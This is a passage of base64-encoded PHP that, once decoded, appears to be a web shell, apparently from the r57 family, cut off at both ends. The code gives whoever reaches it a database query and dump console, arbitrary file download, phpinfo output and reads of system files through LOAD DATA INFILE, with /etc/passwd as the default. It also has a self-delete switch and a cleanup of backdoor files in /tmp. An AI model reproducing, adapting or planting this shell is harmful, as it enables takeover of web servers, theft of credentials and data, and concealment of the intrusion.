JyZWFrOw0KICAgIGNhc2UgJ1Bvc3RncmVTUUwnOg0KICAJICR0aGlzLT5udW1fcm93cz1AcGdfbnVtX3Jvd3MoJHRoaXMtPnJlcyk7DQogIAkgJHRoaXMtPm51bV9maWVsZHM9QHBnX251bV9maWVsZHMoJHRoaXMtPnJlcyk7DQogIAkgd2hpbGUoZmFsc2UgIT09ICgkdGhpcy0+cm93c1tdID0gQHBnX2ZldGNoX2Fzc29jKCR0aGlzLT5yZXMpKSk7DQogIAkgQHBnX2ZyZWVfcmVzdWx0KCR0aGlzLT5yZXMpOw0KICAJIGlmKCR0aGlzLT5udW1fcm93cyl7JHRoaXMtPmNvbHVtbnMgPSBAYXJyYXlfa2V5cygkdGhpcy0+cm93c1swXSk7IHJldHVybiAxO30NCiAgICBicmVhazsNCiAgICBjYXNlICdPcmFjbGUnOg0KICAgICAkdGhpcy0+bnVtX2ZpZWxkcz1Ab2NpbnVtY29scygkdGhpcy0+cmVzKTsNCiAgICAgd2hpbGUoZmFsc2UgIT09ICgkdGhpcy0+cm93c1tdID0gQG9jaV9mZXRjaF9hc3NvYygkdGhpcy0+cmVzKSkpICR0aGlzLT5udW1fcm93cysrOw0KICAgICBAb2NpZnJlZXN0YXRlbWVudCgkdGhpcy0+cmVzKTsNCiAgICAgaWYoJHRoaXMtPm51bV9yb3dzKXskdGhpcy0+Y29sdW1ucyA9IEBhcnJheV9rZXlzKCR0aGlzLT5yb3dzWzBdKTsgcmV0dXJuIDE7fQ0KICAgIGJyZWFrOw0KICAgIH0NCiAgIHJldHVybiAwOw0KICB9DQogZnVuY3Rpb24gZHVtcCgkdGFibGUpDQogIHsNCiAgIGlmKGVtcHR5KCR0YWJsZSkpIHJldHVybiAwOw0KICAgJHRoaXMtPmR1bXA9YXJyYXkoKTsNCiAgICR0aGlzLT5kdW1wWzBdID0gJyMjJzsNCiAgICR0aGlzLT5kdW1wWzFdID0gJyMjIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLSAnOw0KICAgJHRoaXMtPmR1bXBbMl0gPSAnIyMgIENyZWF0ZWQ6ICcuZGF0ZSAoImQvbS9ZIEg6aTpzIik7DQogICAkdGhpcy0+ZHVtcFszXSA9ICcjIyBEYXRhYmFzZTogJy4kdGhpcy0+YmFzZTsNCiAgICR0aGlzLT5kdW1wWzRdID0gJyMjICAgIFRhYmxlOiAnLiR0YWJsZTsNCiAgICR0aGlzLT5kdW1wWzVdID0gJyMjIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLSAnOw0KICAgc3dpdGNoKCR0aGlzLT5kYikNCiAgICB7DQogIAljYXNlICdNeVNRTCc6DQogIAkgJHRoaXMtPmR1bXBbMF0gPSAnIyMgTXlTUUwgZHVtcCc7DQogIAkgaWYoJHRoaXMtPnF1ZXJ5KCcvKicuY2hyKDApLicqLyBTSE9XIENSRUFURSBUQUJMRSBgJy4kdGFibGUuJ2AnKSE9MSkgcmV0dXJuIDA7DQogIAkgaWYoISR0aGlzLT5nZXRfcmVzdWx0KCkpIHJldHVybiAwOw0KICAJICR0aGlzLT5kdW1wW10gPSAkdGhpcy0+cm93c1swXVsnQ3JlYXRlIFRhYmxlJ107DQogICAgICR0aGlzLT5kdW1wW10gPSAnIyMgLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tICc7DQogIAkgaWYoJHRoaXMtPnF1ZXJ5KCcvKicuY2hyKDApLicqLyBTRUxFQ1QgKiBGUk9NIGAnLiR0YWJsZS4nYCcpIT0xKSByZXR1cm4gMDsNCiAgCSBpZighJHRoaXMtPmdldF9yZXN1bHQoKSkgcmV0dXJuIDA7DQogIAkgZm9yKCRpPTA7JGk8JHRoaXMtPm51bV9yb3dzOyRpKyspDQogIAkgIHsNCiAgICAgIGZvcmVhY2goJHRoaXMtPnJvd3NbJGldIGFzICRrPT4kdikgeyR0aGlzLT5yb3dzWyRpXVska10gPSBAbXlzcWxfcmVhbF9lc2NhcGVfc3RyaW5nKCR2KTt9DQogIAkgICR0aGlzLT5kdW1wW10gPSAnSU5TRVJUIElOVE8gYCcuJHRhYmxlLidgIChgJy5AaW1wbG9kZSgiYCwgYCIsICR0aGlzLT5jb2x1bW5zKS4nYCkgVkFMVUVTIChcJycuQGltcGxvZGUoIicsICciLCAkdGhpcy0+cm93c1skaV0pLidcJyk7JzsNCiAgCSAgfQ0KICAgIGJyZWFrOw0KICAgIGNhc2UgJ01TU1FMJzoNCiAgICAgJHRoaXMtPmR1bXBbMF0gPSAnIyMgTVNTUUwgZHVtcCc7DQogICAgIGlmKCR0aGlzLT5xdWVyeSgnU0VMRUNUICogRlJPTSAnLiR0YWJsZSkhPTEpIHJldHVybiAwOw0KICAJIGlmKCEkdGhpcy0+Z2V0X3Jlc3VsdCgpKSByZXR1cm4gMDsNCiAgCSBmb3IoJGk9MDskaTwkdGhpcy0+bnVtX3Jvd3M7JGkrKykNCiAgCSAgew0KICAgICAgZm9yZWFjaCgkdGhpcy0+cm93c1skaV0gYXMgJGs9PiR2KSB7JHRoaXMtPnJvd3NbJGldWyRrXSA9IEBhZGRzbGFzaGVzKCR2KTt9DQogIAkgICR0aGlzLT5kdW1wW10gPSAnSU5TRVJUIElOVE8gJy4kdGFibGUuJyAoJy5AaW1wbG9kZSgiLCAiLCAkdGhpcy0+Y29sdW1ucykuJykgVkFMVUVTIChcJycuQGltcGxvZGUoIicsICciLCAkdGhpcy0+cm93c1skaV0pLidcJyk7JzsNCiAgCSAgfQ0KICAgIGJyZWFrOw0KICAgIGNhc2UgJ1Bvc3RncmVTUUwnOg0KICAgICAkdGhpcy0+ZHVtcFswXSA9ICcjIyBQb3N0Z3JlU1FMIGR1bXAnOw0KICAgICBpZigkdGhpcy0+cXVlcnkoJ1NFTEVDVCAqIEZST00gJy4kdGFibGUpIT0xKSByZXR1cm4gMDsNCiAgCSBpZighJHRoaXMtPmdldF9yZXN1bHQoKSkgcmV0dXJuIDA7DQogIAkgZm9yKCRpPTA7JGk8JHRoaXMtPm51bV9yb3dzOyRpKyspDQogIAkgIHsNCiAgICAgIGZvcmVhY2goJHRoaXMtPnJvd3NbJGldIGFzICRrPT4kdikgeyR0aGlzLT5yb3dzWyRpXVska10gPSBAYWRkc2xhc2hlcygkdik7fQ0KICAJICAkdGhpcy0+ZHVtcFtdID0gJ0lOU0VSVCBJTlRPICcuJHRhYmxlLicgKCcuQGltcGxvZGUoIiwgIiwgJHRoaXMtPmNvbHVtbnMpLicpIFZBTFVFUyAoXCcnLkBpbXBsb2RlKCInLCAnIiwgJHRoaXMtPnJvd3NbJGldKS4nXCcpOyc7DQogIAkgIH0NCiAgICBicmVhazsNCiAgICBjYXNlICdPcmFjbGUnOg0KICAgICAgJHRoaXMtPmR1bXBbMF0gPSAnIyMgT1JBQ0xFIGR1bXAnOw0KICAgICAgJHRoaXMtPmR1bXBbXSAgPSAnIyMgdW5kZXIgY29uc3RydWN0aW9uJzsNCiAgICBicmVhazsNCiAgICBkZWZhdWx0Og0KICAgICByZXR1cm4gMDsNCiAgICBicmVhazsNCiAgICB9DQogICByZXR1cm4gMTsNCiAgfQ0KIGZ1bmN0aW9uIGNsb3NlKCkNCiAgew0KICAgc3dpdGNoKCR0aGlzLT5kYikNCiAgICB7DQogIAljYXNlICdNeVNRTCc6DQogIAkgQG15c3FsX2Nsb3NlKCR0aGlzLT5jb25uZWN0aW9uKTsNCiAgICBicmVhazsNCiAgICBjYXNlICdNU1NRTCc6DQogICAgIEBtc3NxbF9jbG9zZSgkdGhpcy0+Y29ubmVjdGlvbik7DQogICAgYnJlYWs7DQogICAgY2FzZSAnUG9zdGdyZVNRTCc6DQogICAgIEBwZ19jbG9zZSgkdGhpcy0+Y29ubmVjdGlvbik7DQogICAgYnJlYWs7DQogICAgY2FzZSAnT3JhY2xlJzoNCiAgICAgQG9jaV9jbG9zZSgkdGhpcy0+Y29ubmVjdGlvbik7DQogICAgYnJlYWs7DQogICAgfQ0KICB9DQogZnVuY3Rpb24gYWZmZWN0ZWRfcm93cygpDQogIHsNCiAgIHN3aXRjaCgkdGhpcy0+ZGIpDQogICAgew0KICAJY2FzZSAnTXlTUUwnOg0KICAJIHJldHVybiBAbXlzcWxfYWZmZWN0ZWRfcm93cygkdGhpcy0+cmVzKTsNCiAgICBicmVhazsNCiAgICBjYXNlICdNU1NRTCc6DQogICAgIHJldHVybiBAbXNzcWxfYWZmZWN0ZWRfcm93cygkdGhpcy0+cmVzKTsNCiAgICBicmVhazsNCiAgICBjYXNlICdQb3N0Z3JlU1FMJzoNCiAgICAgcmV0dXJuIEBwZ19hZmZlY3RlZF9yb3dzKCR0aGlzLT5yZXMpOw0KICAgIGJyZWFrOw0KICAgIGNhc2UgJ09yYWNsZSc6DQogICAgIHJldHVybiBAb2Npcm93Y291bnQoJHRoaXMtPnJlcyk7DQogICAgYnJlYWs7DQogICAgZGVmYXVsdDoNCiAgICAgcmV0dXJuIDA7DQogICAgYnJlYWs7DQogICAgfQ0KICB9DQogfQ0KaWYoIWVtcHR5KCRfUE9TVFsnY21kJ10pICYmICRfUE9TVFsnY21kJ109PSJkb3dubG9hZF9maWxlIiAmJiAhZW1wdHkoJF9QT1NUWydkX25hbWUnXSkpDQogew0KICBpZighJGZpbGU9QGZvcGVuKCRfUE9TVFsnZF9uYW1lJ10sInIiKSkgeyBlcnIoMSwkX1BPU1RbJ2RfbmFtZSddKTsgJF9QT1NUWydjbWQnXT0iIjsgfQ0KICBlbHNlDQogICB7DQogICAgQG9iX2NsZWFuKCk7DQogICAgJGZpbGVuYW1lID0gQGJhc2VuYW1lKCRfUE9TVFsnZF9uYW1lJ10pOw0KICAgICRmaWxlZHVtcCA9IEBmcmVhZCgkZmlsZSxAZmlsZXNpemUoJF9QT1NUWydkX25hbWUnXSkpOw0KICAgIGZjbG9zZSgkZmlsZSk7DQogICAgJGNvbnRlbnRfZW5jb2Rpbmc9JG1pbWVfdHlwZT0nJzsNCiAgICBjb21wcmVzcygkZmlsZW5hbWUsJGZpbGVkdW1wLCRfUE9TVFsnY29tcHJlc3MnXSk7DQogICAgaWYgKCFlbXB0eSgkY29udGVudF9lbmNvZGluZykpIHsgaGVhZGVyKCdDb250ZW50LUVuY29kaW5nOiAnIC4gJGNvbnRlbnRfZW5jb2RpbmcpOyB9DQogICAgaGVhZGVyKCJDb250ZW50LXR5cGU6ICIuJG1pbWVfdHlwZSk7DQogICAgaGVhZGVyKCJDb250ZW50LWRpc3Bvc2l0aW9uOiBhdHRhY2htZW50OyBmaWxlbmFtZT1cIiIuJGZpbGVuYW1lLiJcIjsiKTsNCiAgICBlY2hvICRmaWxlZHVtcDsNCiAgICBleGl0KCk7DQogICB9DQogfQ0KaWYoaXNzZXQoJF9HRVRbJ3BocGluZm8nXSkpIHsgZWNobyBAcGhwaW5mbygpOyBlY2hvICI8YnI+PGRpdiBhbGlnbj1jZW50ZXI+PGZvbnQgZmFjZT1WZXJkYW5hIHNpemU9LTI+PGI+WyA8YSBocmVmPSIuJF9TRVJWRVJbJ1BIUF9TRUxGJ10uIj5CQUNLPC9hPiBdPC9iPjwvZm9udD48L2Rpdj4iOyBkaWUoKTsgfQ0KaWYgKCFlbXB0eSgkX1BPU1RbJ2NtZCddKSAmJiAkX1BPU1RbJ2NtZCddPT0iZGJfcXVlcnkiKQ0KIHsNCiBlY2hvICRoZWFkOw0KICRzcWwgPSBuZXcgbXlfc3FsKCk7DQogJHNxbC0+ZGIgICA9ICRfUE9TVFsnZGInXTsNCiAkc3FsLT5ob3N0ID0gJF9QT1NUWydkYl9zZXJ2ZXInXTsNCiAkc3FsLT5wb3J0ID0gJF9QT1NUWydkYl9wb3J0J107DQogJHNxbC0+dXNlciA9ICRfUE9TVFsnbXlzcWxfbCddOw0KICRzcWwtPnBhc3MgPSAkX1BPU1RbJ215c3FsX3AnXTsNCiAkc3FsLT5iYXNlID0gJF9QT1NUWydteXNxbF9kYiddOw0KICRxdWVyeXMgPSBAZXhwbG9kZSgnOycsJF9QT1NUWydkYl9xdWVyeSddKTsNCiBlY2hvICc8Ym9keSBiZ2NvbG9yPUJsYWNrPic7DQogaWYoISRzcWwtPmNvbm5lY3QoKSkgZWNobyAiPGRpdiBhbGlnbj1jZW50ZXI+PGZvbnQgZmFjZT1WZXJkYW5hIHNpemU9LTIgY29sb3I9V2hpdGU+PGI+Q2FuJ3QgY29ubmVjdCB0byBTUUwgc2VydmVyPC9iPjwvZm9udD48L2Rpdj4iOw0KICBlbHNlDQogICB7DQogICBpZighZW1wdHkoJHNxbC0+YmFzZSkmJiEkc3FsLT5zZWxlY3RfZGIoKSkgZWNobyAiPGRpdiBhbGlnbj1jZW50ZXI+PGZvbnQgZmFjZT1WZXJkYW5hIHNpemU9LTIgY29sb3I9V2hpdGU+PGI+Q2FuJ3Qgc2VsZWN0IGRhdGFiYXNlPC9iPjwvZm9udD48L2Rpdj4iOw0KICAgZWxzZQ0KICAgIHsNCiAgICBmb3JlYWNoKCRxdWVyeXMgYXMgJG51bT0+JHF1ZXJ5KQ0KICAgICB7DQogICAgICBpZihzdHJsZW4oJHF1ZXJ5KT41KQ0KICAgICAgew0KICAgICAgZWNobyAiPGZvbnQgZmFjZT1WZXJkYW5hIHNpemU9LTIgY29sb3I9V2hpdGU+PGI+UXVlcnkjIi4kbnVtLiIgOiAiLmh0bWxzcGVjaWFsY2hhcnMoJHF1ZXJ5LEVOVF9RVU9URVMpLiI8L2I+PC9mb250Pjxicj4iOw0KICAgICAgc3dpdGNoKCRzcWwtPnF1ZXJ5KCRxdWVyeSkpDQogICAgICAgew0KICAgICAgIGNhc2UgJzAnOg0KICAgICAgIGVjaG8gIjx0YWJsZSB3aWR0aD0xMDAlPjx0cj48dGQgY2xhc3M9bWFpbj48Zm9udCBmYWNlPVZlcmRhbmEgc2l6ZT0tMj5FcnJvciA6IDxiPiIuJHNxbC0+ZXJyb3IuIjwvYj48L2ZvbnQ+PC90ZD48L3RyPjwvdGFibGU+IjsNCiAgICAgICBicmVhazsNCiAgICAgICBjYXNlICcxJzoNCiAgICAgICBpZigkc3FsLT5nZXRfcmVzdWx0KCkpDQogICAgICAgIHsNCiAgICAgICAJZWNobyAiPHRhYmxlIHdpZHRoPTEwMCUgYm9yZGVyPTAgY2VsbHBhZGRpbmc9MCBjZWxsc3BhY2luZz0wPiI7DQogICAgICAgIGZvcmVhY2goJHNxbC0+Y29sdW1ucyBhcyAkaz0+JHYpICRzcWwtPmNvbHVtbnNbJGtdID0gaHRtbHNwZWNpYWxjaGFycygkdixFTlRfUVVPVEVTKTsNCiAgICAgICAJJGtleXMgPSBAaW1wbG9kZSgiJm5ic3A7PC9iPjwvZm9udD48L3RkPjx0ZCBjbGFzcz1tYWluPjxmb250IGZhY2U9VmVyZGFuYSBzaXplPS0yPjxiPiZuYnNwOyIsICRzcWwtPmNvbHVtbnMpOw0KICAgICAgICBlY2hvICI8dHI+PHRkIGNsYXNzPW1haW4gYmdjb2xvcj1XaGl0ZT48Zm9udCBmYWNlPVZlcmRhbmEgc2l6ZT0tMj48Yj4mbmJzcDsiLiRrZXlzLiImbmJzcDs8L2I+PC9mb250PjwvdGQ+PC90cj4iOw0KICAgICAgICBmb3IoJGk9MDskaTwkc3FsLT5udW1fcm93czskaSsrKQ0KICAgICAgICAgew0KICAgICAgICAgZm9yZWFjaCgkc3FsLT5yb3dzWyRpXSBhcyAkaz0+JHYpICRzcWwtPnJvd3NbJGldWyRrXSA9IGh0bWxzcGVjaWFsY2hhcnMoJHYsRU5UX1FVT1RFUyk7DQogICAgICAgICAkdmFsdWVzID0gQGltcGxvZGUoIiZuYnNwOzwvZm9udD48L3RkPjx0ZCBjbGFzcz1tYWluPjxmb250IGZhY2U9VmVyZGFuYSBzaXplPS0yPiZuYnNwOyIsJHNxbC0+cm93c1skaV0pOw0KICAgICAgICAgZWNobyAnPHRyPjx0ZCBjbGFzcz1tYWluPjxmb250IGZhY2U9VmVyZGFuYSBzaXplPS0yPiZuYnNwOycuJHZhbHVlcy4nJm5ic3A7PC9mb250PjwvdGQ+PC90cj4nOw0KICAgICAgICAgfQ0KICAgICAgICBlY2hvICI8L3RhYmxlPiI7DQogICAgICAgIH0NCiAgICAgICBicmVhazsNCiAgICAgICBjYXNlICcyJzoNCiAgICAgICAkYXIgPSAkc3FsLT5hZmZlY3RlZF9yb3dzKCk/KCRzcWwtPmFmZmVjdGVkX3Jvd3MoKSk6KCcwJyk7DQogICAgICAgZWNobyAiPHRhYmxlIHdpZHRoPTEwMCU+PHRyPjx0ZCBjbGFzcz1tYWluPjxmb250IGZhY2U9VmVyZGFuYSBzaXplPS0yPmFmZmVjdGVkIHJvd3MgOiA8Yj4iLiRhci4iPC9iPjwvZm9udD48L3RkPjwvdHI+PC90YWJsZT48YnI+IjsNCiAgICAgICBicmVhazsNCiAgICAgICB9DQogICAgICB9DQogICAgIH0NCiAgICB9DQogICAgZWNobyAiPGJyPjxkaXYgYWxpZ249bGVmdCBpZD0nbic+PHRhYmxlIHdpZHRoPTEwMCUgaGVpZ2h0PTYwIGJvcmRlcj0wIGNlbGxwYWRkaW5nPTAgY2VsbHNwYWNpbmc9MD4iOw0KICAgIGVjaG8gIjx0cj48dGQgYWxpZ249Y2VudGVyPjxiPlNob3cgRGF0YWJhc2U8L2I+PC90ZD48dGQgYWxpZ249Y2VudGVyPjxiPlNob3cgVGFibGVzPC9iPjwvdGQ+PC90cj4iOw0KICAgIGVjaG8gIjx0cj48dGQ+PHRleHRhcmVhIGNvbHM9NTAgcm93cz02IG5hbWU9cXVlcnlfZGI+IjsNCiAgICAkcXVlcnlfZGIgPSBteXNxbF9xdWVyeSgiU0hPVyBEQVRBQkFTRVM7Iik7DQogICAgd2hpbGUgKCRxdWVyeV9kYl9yb3cgPSBteXNxbF9mZXRjaF9hcnJheSgkcXVlcnlfZGIpKQ0KICAgIHsNCiAgICAJZWNobyAkcXVlcnlfZGJfcm93WzBdLiJcbiI7DQogICAgfQ0KICAgIGVjaG8gIjwvdGV4dGFyZWE+PC90ZD48dGQ+PGRpdiBhbGlnbj1yaWdodD48dGV4dGFyZWEgY29scz02MCByb3dzPTYgbmFtZT1xdWVyeV90YWJsZXM+IjsNCiAgICBpZiAoKCRfUE9TVFsnbXlzcWxfZGInXSkgJiYgJHNxbC0+c2VsZWN0X2RiKCkpDQogICAgew0KICAgICAkcXVlcnlfdGFibGVzID0gbXlzcWxfcXVlcnkoIlNIT1cgVEFCTEVTOyIpOw0KICAgICB3aGlsZSAoJHF1ZXJ5X3RhYmxlc19yb3cgPSBteXNxbF9mZXRjaF9hcnJheSgkcXVlcnlfdGFibGVzKSkNCiAgICAgew0KICAgICAJZWNobyAkcXVlcnlfdGFibGVzX3Jvd1swXS4iXG4iOw0KICAgICB9DQogICAgfQ0KICAgIGVjaG8gIjwvdGV4dGFyZWE+PC9kaXY+PC90ZD48L3RyPjwvdGFibGU+PC9kaXY+IjsNCiAgIH0NCiBlY2hvICI8YnI+PGZvcm0gbmFtZT1mb3JtIG1ldGhvZD1QT1NUPiI7DQogZWNobyBpbignaGlkZGVuJywnZGInLDAsJF9QT1NUWydkYiddKTsNCiBlY2hvIGluKCdoaWRkZW4nLCdkYl9zZXJ2ZXInLDAsJF9QT1NUWydkYl9zZXJ2ZXInXSk7DQogZWNobyBpbignaGlkZGVuJywnZGJfcG9ydCcsMCwkX1BPU1RbJ2RiX3BvcnQnXSk7DQogZWNobyBpbignaGlkZGVuJywnbXlzcWxfbCcsMCwkX1BPU1RbJ215c3FsX2wnXSk7DQogZWNobyBpbignaGlkZGVuJywnbXlzcWxfcCcsMCwkX1BPU1RbJ215c3FsX3AnXSk7DQogZWNobyBpbignaGlkZGVuJywnbXlzcWxfZGInLDAsJF9QT1NUWydteXNxbF9kYiddKTsNCiBlY2hvIGluKCdoaWRkZW4nLCdjbWQnLDAsJ2RiX3F1ZXJ5Jyk7DQogZWNobyAiPGRpdiBhbGlnbj1jZW50ZXI+IjsNCiBlY2hvICI8Zm9udCBmYWNlPVZlcmRhbmEgc2l6ZT0tMj48Yj5Vc2UgZGF0YWJhc2U6IDwvYj48aW5wdXQgdHlwZT10ZXh0IG5hbWU9bXlzcWxfZGIgdmFsdWU9XCIiLiRzcWwtPmJhc2UuIlwiPjwvZm9udD48YnI+IjsNCiBlY2hvICI8dGV4dGFyZWEgY29scz02NSByb3dzPTEwIG5hbWU9ZGJfcXVlcnk+Ii4oIWVtcHR5KCRfUE9TVFsnZGJfcXVlcnknXSk/KCRfUE9TVFsnZGJfcXVlcnknXSk6KCJTSE9XIERBVEFCQVNFUzsiKSkuIjwvdGV4dGFyZWE+PGJyPjxpbnB1dCB0eXBlPXN1Ym1pdCBuYW1lPXN1Ym1pdCB2YWx1ZT1cIiBSdW4gU1FMIHF1ZXJ5IFwiPjwvZGl2Pjxicj48YnI+IjsNCiBlY2hvICI8ZGl2IGFsaWduPWNlbnRlcj48Zm9udCBmYWNlPVZlcmRhbmEgc2l6ZT0tMj48Yj5Mb2FkIGZpbGU6IDwvYj48aW5wdXQgdHlwZT10ZXh0IG5hbWU9bG9hZGZpbGUgc2l6ZT0xMDAgdmFsdWU9Ii4oIWVtcHR5KCRfUE9TVFsnbG9hZGZpbGUnXSk/KCRfUE9TVFsnbG9hZGZpbGUnXSk6KCIvZXRjL3Bhc3N3ZCIpKS4iPiIud3MoMikuIjxpbnB1dCB0eXBlPXN1Ym1pdCBuYW1lPXN1Ym1pdCB2YWx1ZT1cIiBMb2FkIFwiPjxiciAvPjxiciAvPiI7DQogZWNobyAiPGI+RmlsZSBjb250ZW50PC9iPjxicj48YnI+IjsNCiBlY2hvICI8dGV4dGFyZWEgY29scz0xMjEgcm93cz0xNSBuYW1lPXNob3dsb2FkZmlsZT4iOw0KIEBteXNxbF9xdWVyeSgiRFJPUCBUQUJMRSBJRiBFWElTVFMgQWx1Y2FyIik7DQogQG15c3FsX3F1ZXJ5KCJDUkVBVEUgVEFCTEUgYEFsdWNhcmAgKCBgZmlsZWAgTE9OR0JMT0IgTk9UIE5VTEwgKSIpOw0KIEBteXNxbF9xdWVyeSgiTE9BRCBEQVRBIExPQ0FMIElORklMRSBcIiIuc3RyX3JlcGxhY2UoJ1xcJywnLycsJF9QT1NUWydsb2FkZmlsZSddKS4iXCIgSU5UTyBUQUJMRSBBbHVjYXIgRklFTERTIFRFUk1JTkFURUQgQlkgJycgRVNDQVBFRCBCWSAnJyBMSU5FUyBURVJNSU5BVEVEIEJZICdcbiciKTsNCiAkciA9IEBteXNxbF9xdWVyeSgiU0VMRUNUICogRlJPTSBBbHVjYXIiKTsNCiB3aGlsZSgoJHJfc3FsID0gQG15c3FsX2ZldGNoX2FycmF5KCRyKSkpIHsgZWNobyBAaHRtbHNwZWNpYWxjaGFycygkcl9zcWxbMF0pOyB9DQogQG15c3FsX3F1ZXJ5KCJEUk9QIFRBQkxFIElGIEVYSVNUUyBBbHVjYXIiKTsNCiBlY2hvICI8L3RleHRhcmVhPjwvZGl2PiI7DQogZWNobyAiPC9mb3JtPiI7DQogZWNobyAiPGJyPjxkaXYgYWxpZ249Y2VudGVyPjxmb250IGZhY2U9VmVyZGFuYSBzaXplPS0yPjxiPlsgPGEgaHJlZj0iLiRfU0VSVkVSWydQSFBfU0VMRiddLiI+QkFDSzwvYT4gXTwvYj48L2ZvbnQ+PC9kaXY+IjsgZGllKCk7DQogfQ0KaWYoaXNzZXQoJF9HRVRbJ2RlbGV0ZSddKSkNCiB7DQogICBAdW5saW5rKF9fRklMRV9fKTsNCiB9DQppZihpc3NldCgkX0dFVFsndG1wJ10pKQ0KIHsNCiAgIEB1bmxpbmsoIi90bXAvYmRwbCIpOw0KICAgQHVubGluaygiL3RtcC9iYWNrIik7DQogICBAdW5saW5rKCIvdG1wL2JkIik7DQogICBAdW5saW5rKCIvdG1wL2JkLmMiKTsNCiAgIEB1bmxpbmsoIi90bXAvZHAiKTsNCiAgIEB1bmxpbmsoIi90bXAvZHBjIik7DQogICBAdW5saW5rKCIvdG1wL2RwYy5jIik7DQogfQ0KaWYoaXNzZXQoJF9HRVRbJ3BocGluaSddKSkNCnsNCmVjaG8gJGhlYWQ7DQpmdW5jdGlvbiBVX3ZhbHVlKCR2YWx1ZSkNCiB7DQogaWYgKCR2YWx1ZSA9PSAnJykgcmV0dXJuICc8aT5ubyB2YWx1ZTwvaT4nOw0KIGlmIChAaXNfYm9vbCgkdmFsdWUpKSByZXR1cm4gJHZhbHVlID8gJ1RSVUUnIDogJ0ZBTFNFJzsNCiBpZiAoJHZhbHVlID09PSBudWxsKSByZXR1cm4gJ05VTEwnOw0KIGlmIChAaXNfb2JqZWN0KCR2YWx1ZSkpICR2YWx1ZSA9IChhcnJheSkgJHZhbHVlOw0KIGlmIChAaXNfYXJyYXkoJHZhbHVlKSkNCiB7DQogQG9iX3N0YXJ0KCk7DQogcHJpbnRfcigkdmFsdWUpOw0KICR2YWx1ZSA9IEBvYl9nZXRfY29udGVudHMoKTsNCiBAb2JfZW5kX2NsZWFuKCk7DQogfQ0KIHJldHVybiBVX3dvcmR3cmFwKChzdHJpbmcpICR2YWx1ZSk7DQogfQ0KZnVuY3Rpb24gVV93b3Jkd3JhcCgkc3RyKQ0KIHsNCiAkc3RyID0gQHdvcmR3cmFwKEBodG1sc3BlY2lhbGNoYXJzKCRzdHIpLCAxMDAsICc8d2JyIC8+JywgdHJ1ZSk7DQogcmV0dXJuIEBwcmVnX3JlcGxhY2UoJyEoJlteO10qKTx3YnIgLz4oW147XSo7KSEnLCAnJDEkMjx3YnIgLz4nLCAkc3RyKTsNCiB9DQppZiAoQGZ1bmN0aW9uX2V4aXN0cygnaW5pX2dldF9hbGwnKSkNCiB7DQogJHIgPSAnJzsNCiBlY2hvICc8dGFibGUgd2lkdGg9MTAwJT4nLCAnPHRyPjx0ZCBjbGFzcz1tYWluIGJnY29sb3I9IzgzYzgwOT48Zm9udCBmYWNlPVZlcmRhbmEgc2l6ZT0tMiBjb2xvcj1XaGl0ZT48ZGl2IGFsaWduPWNlbnRlcj48Yj5EaXJlY3RpdmU8L2I+PC9kaXY+PC9mb250PjwvdGQ+PHRkIGNsYXNzPW1haW4gYmdjb2xvcj0jODNjODA5Pjxmb250IGZhY2U9VmVyZGFuYSBzaXplPS0yIGNvbG9yPVdoaXRlPjxkaXYgYWxpZ249Y2VudGVyPjxiPkxvY2FsIFZhbHVlPC9iPjwvZGl2PjwvZm9udD48L3RkPjx0ZCBjbGFzcz1tYWluIGJnY29sb3I9IzgzYzgwOT48Zm9udCBmYWNlPVZlcmRhbmEgc2l6ZT0tMiBjb2xvcj1XaGl0ZT48ZGl2IGFsaWduPWNlbnRlcj48Yj5NYXN0ZXIgVmFsdWU8L2I+PC9kaXY+PC9mb250PjwvdGQ+PC90cj4nOw0KIGZvcmVhY2ggKEBpbmlfZ2V0X2FsbCgpIGFzICRrZXk9PiR2YWx1ZSkNCiAgew0KICAkciAuPSAnPHRyPjx0ZCBjbGFzcz1tYWluPicud3MoMykuJzxmb250IGZhY2U9VmVyZGFuYSBzaXplPS0yPjxiPicuJGtleS4nPC9iPjwvZm9udD48L3RkPjx0ZCBjbGFzcz1tYWluPjxmb250IGZhY2U9VmVyZGFuYSBzaXplPS0yPjxkaXYgYWxpZ249Y2VudGVyPjxiPicuVV92YWx1ZSgkdmFsdWVbJ2xvY2FsX3ZhbHVlJ10pLic8L2I+PC9kaXY+PC9mb250PjwvdGQ+PHRkIGNsYXNzPW1haW4+PGZvbnQgZmFjZT1WZXJkYW5hIHNpemU9LTI+PGRpdiBhbGlnbj1jZW50ZXI+PGI+Jy5VX3ZhbHVlKCR2YWx1ZVsnZ2xvYmFsX3ZhbHVlJ10pLic8L2I+PC9kaXY+PC9mb250PjwvdGQ+PC90cj4nOw0KICB9DQogZWNobyAkcjsNCiBlY2hvICc8L3RhYmxlPic7DQogfQ0KZWNobyAiPGJyPjxkaXYgYWxpZ249Y2VudGVyPjxmb250IGZhY2U9VmVyZGFuYSBzaXplPS0yPjxiPlsgPGEgaHJlZj0iLiRfU0VSVkVSWydQSFBfU0VMRiddLiI+QkFDSzwvYT4gXTwvYj48L2ZvbnQ+PC9kaXY+IjsNCmRpZSgpOw0KfQ0KaWYoaXNzZXQoJF9HRVRbJ2NwdSddKSkNCiB7DQogICBlY2hvICRoZWFkOw0KICAgZWNobyAnPHRhYmxlIHdpZHRoPTEwMCU+PHRyPjx0ZCBjbGFzcz1tYWluIGJnY29sb3I9QmxhY2s+PGRpdiBhbGlnbj1jZW50ZXI+PGZvbnQgZmFjZT1WZXJkYW5hIHNpemU9LTIgY29sb3I9V2hpdGU+PGI+Q1BVPC9iPjwvZm9udD48L2Rpdj48L3RkPjwvdHI+PC90YWJsZT48dGFibGUgd2lkdGg9MTAwJT4nOw0KICAgJGNwdWYgPSBAZmlsZSgiY3B1aW5mbyIpOw0KICAgaWYoJGNwdWYpDQogICAgew0KICAgICAgJGMgPSBAc2l6ZW9mKCRjcHVmKTsNCiAgICAgIGZvcigkaT0wOyRpPCRjOyRpKyspDQogICAgICAgIHsNCiAgICAgICAgICAkaW5mbyA9IEBleHBsb2RlKCI6IiwkY3B1ZlskaV0pOw0KICAgICAgICAgIGlmKCRpbmZvWzFdPT0iIil7ICRpbmZvWzFdPSItLS0iOyB9DQogICAgICAgICAgJHIgLj0gJzx0cj48dGQgY2xhc3M9bWFpbj4nLndzKDMpLic8Zm9udCBmYWNlPVZlcmRhbmEgc2l6ZT0tMj48Yj4nLnRyaW0oJGluZm9bMF0pLic8L2I+PC9mb250PjwvdGQ+PHRkIGNsY